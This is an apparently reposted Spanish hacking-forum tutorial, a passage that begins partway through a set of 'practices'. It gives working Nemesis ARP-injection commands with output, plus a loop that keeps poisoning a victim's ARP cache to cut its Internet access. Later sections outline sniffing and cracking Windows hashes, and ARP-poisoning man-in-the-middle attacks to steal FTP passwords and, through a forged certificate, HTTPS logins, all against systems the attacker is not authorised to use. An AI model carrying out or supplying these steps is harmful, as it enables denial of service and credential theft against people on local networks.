5º Inyectar desde el atacante el paquete malicioso que envenena la tabla caché ARP de la víctima con la MAC errónea del router.

Sintaxis de la inyección: nemesis arp -D IPvictima -S IProuter -H MACrouter


Citar
C:\>nemesis arp -D 10.10.0.69 -S 10.10.0.33 -H AA:BB:CCD:EE:FF

ARP Packet Injected

C:\>

6º Obtener la tabla caché ARP de direcciones IP/MAC envenenada en el equipo víctima. Esto es lo q supuestamente ocurriría en el equipo víctima...


Citar
C:\WINDOWS\system32>arp -a

Interfaz: 10.10.0.254 --- 0x2
Dirección IP Dirección física Tipo
10.10.0.33 aa-bb-cc-dd-ee-ff dinámico
10.10.0.69 00-05-1c-0a-ab-92 dinámico

C:\WINDOWS\system32>

7º Verificar que la víctima NO tiene conexión a Internet. Esto es lo q supuestamente ocurriría en el equipo víctima...


Citar
C:\WINDOWS\system32>ping www.google.es -t

Haciendo ping a www.google.akadns.net [66.102.11.99] con 32 bytes de datos:

Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Respuesta desde 66.102.11.99: bytes=32 tiempo=112ms TTL=238
etc.

Como podéis observar, después de cierto tiempo, el sistema Windows de la víctima refrescará su tabla caché ARP con la verdadera dirección MAC del router y, entonces, sí que dispondrá de conexión Internet. Se fastidió el invento?? Noooo... si estamos continua y periódicamente envenenando la tabla caché ARP de la víctima desde el equipo atacante.
Para ello, inyectamos el paquete con Nemesis desde un bucle FOR:


Citar
C:\>FOR /L %i IN (1,1,5000) DO nemesis arp -D 10.10.0.69 -S 10.10.0.33 -H AA:BB:CCD:EE:FF

C:\>nemesis arp -D 10.10.0.69 -S 10.10.0.33 -H AA:BB:CCD:EE:FF

ARP Packet Injected

C:\>nemesis arp -D 10.10.0.69 -S 10.10.0.33 -H AA:BB:CCD:EE:FF

ARP Packet Injected

C:\>nemesis arp -D 10.10.0.69 -S 10.10.0.33 -H AA:BB:CCD:EE:FF

ARP Packet Injected

C:\>nemesis arp -D 10.10.0.69 -S 10.10.0.33 -H AA:BB:CCD:EE:FF

ARP Packet Injected

C:\>nemesis arp -D 10.10.0.69 -S 10.10.0.33 -H AA:BB:CCD:EE:FF

ARP Packet Injected

etc.

De esta forma, la víctima no dispondrá de conexión a Internet mientras dure el bucle FOR del atacante...


Practica 2 – Obtener la contraseña de Windows de un usuario de nuestra red local.


Teoría:

El equipo atacante coloca un Sniffer a la escucha, de forma que es capaz de capturar todo el tráfico que pasa por su tarjeta de red. Cuando un usuario víctima inicia sesión en el equipo atacante para acceder a sus recursos compartidos, el Sniffer captura el hash desafío-respuesta intercambiado y después de crackearlo por fuerza bruta, se obtiene la contraseña de Windows del usuario víctima que inició sesión en el equipo atacante.


Aplicación práctica:

Sniffado


Practica 3 – Obtener la contraseña de acceso a un Servidor FTP situado en nuestra red local al que no tenemos acceso autorizado.


Teoría:

Sea un Servidor FTP situado en una red local conmutada tal que el atacante no tiene acceso autorizado porque desconoce una cuenta de usuario y contraseña válidas en el Servidor. Asimismo, el Servidor tampoco acepta acceso anónimo.
Sin embargo, el atacante sabe que cierto usuario víctima de su red local sí que tiene acceso autorizado al Servidor FTP.
El atacante puede sniffar la contraseña de acceso durante el proceso de autenticación del usuario víctima en el Servidor FTP.

En el caso de una red local compartida (hubs), sólo es necesario sniffar todos los paquetes que pasen por nuestra tarjeta de red, que serán los mismos que circulen por la red. De esta forma, cuando el usuario víctima inicie sesión, el paquete que contiene la contraseña de acceso será enviada a todos los equipos conectados al concentrador, entre ellos, nuestro equipo.

En el caso de una red local conmutada (switches), el tráfico entre el usuario víctima y el Servidor FTP sólo circulará entre estos dos equipos. El atacante debe alcanzar una posición de Man in the Middle si quiere ser capaz de sniffar este tráfico durante la conexión. A fin de lograr esta posición, el atacante debe envenenar las tablas ARP del equipo víctima y el Servidor FTP, de modo que el tráfico circule a través de su equipo: Víctima <-> Atacante <-> Servidor FTP.


Aplicación práctica:

Envenenamiento ARP + Sniffado


Practica 4 – Obtener la contraseña de acceso a un Servidor FTP situado en Internet al que no tenemos acceso autorizado.


Teoría:

Sea un Servidor FTP situado en Internet tal que el atacante no tiene acceso autorizado porque desconoce una cuenta de usuario y contraseña válidas en el Servidor. Asimismo, el Servidor tampoco acepta acceso anónimo.
Sin embargo, el atacante sabe que cierto usuario víctima de su red local sí que tiene acceso autorizado al Servidor FTP.
El atacante puede sniffar la contraseña de acceso durante el proceso de autenticación del usuario víctima en el Servidor FTP.

En el caso de una red local compartida (hubs), sólo es necesario sniffar todos los paquetes que pasen por nuestra tarjeta de red, que serán los mismos que circulen por la red. De esta forma, cuando el usuario víctima inicie sesión, el paquete que contiene la contraseña de acceso será enviada a todos los equipos conectados al concentrador, entre ellos, nuestro equipo.

En el caso de una red local conmutada (switches), el tráfico entre el usuario víctima y el Servidor FTP sólo circulará entre el equipo de la víctima y el router (puerta de enlace) que permite acceder a Internet para conectarse con el Servidor FTP. El atacante debe alcanzar una posición de Man in the Middle si quiere ser capaz de sniffar este tráfico durante la conexión. A fin de lograr esta posición, el atacante debe envenenar las tablas ARP del equipo víctima y del router (puerta de enlace), de modo que el tráfico circule a través de su equipo: Víctima <-> Atacante <-> Router <-> Servidor FTP.


Aplicación práctica:

Envenenamiento ARP + Sniffado


Practica 5 – Obtener la contraseña de acceso a un Servicio protegido con protocolo seguro HTTPS al que no tenemos acceso autorizado.


Teoría:

El protocolo HTTPS se utiliza en sitios web que requieren seguridad en el acceso, de forma que se establece una sesión encriptada entre cliente y servidor para que la información crítica (contraseñas) no pueda ser leída por terceros. Esta conexión HTTPS requiere la existencia de un certificado válido de servidor verificado por una CA (Autoridad Certificadora).
El equipo atacante va a situarse como Man in the Middle entre el equipo víctima y el router (puerta de enlace) de forma que todo el tráfico circule por él. Cuando el usuario víctima trate de conectarse a un sitio web como Hotmail o Yahoo, utilizando protocolo HTTPS, realizará una petición de certificado válido de servidor que será servida por el equipo atacante. Al tratarse de un certificado falseado, es posible que la víctima inspeccione y rechace el certificado, y por tanto, no se produzca el inicio de sesión. Pero también es muy posible que la víctima acepte el certificado falseado, sin siquiera leerlo, y el Sniffer situado en el equipo atacante capture el usuario y contraseña de la sesión segura HTTPS.

Fuente:http://foros.raza-mexicana.org/showthread.php?t=236
Powered by Bad Robot
Helped by Blackubay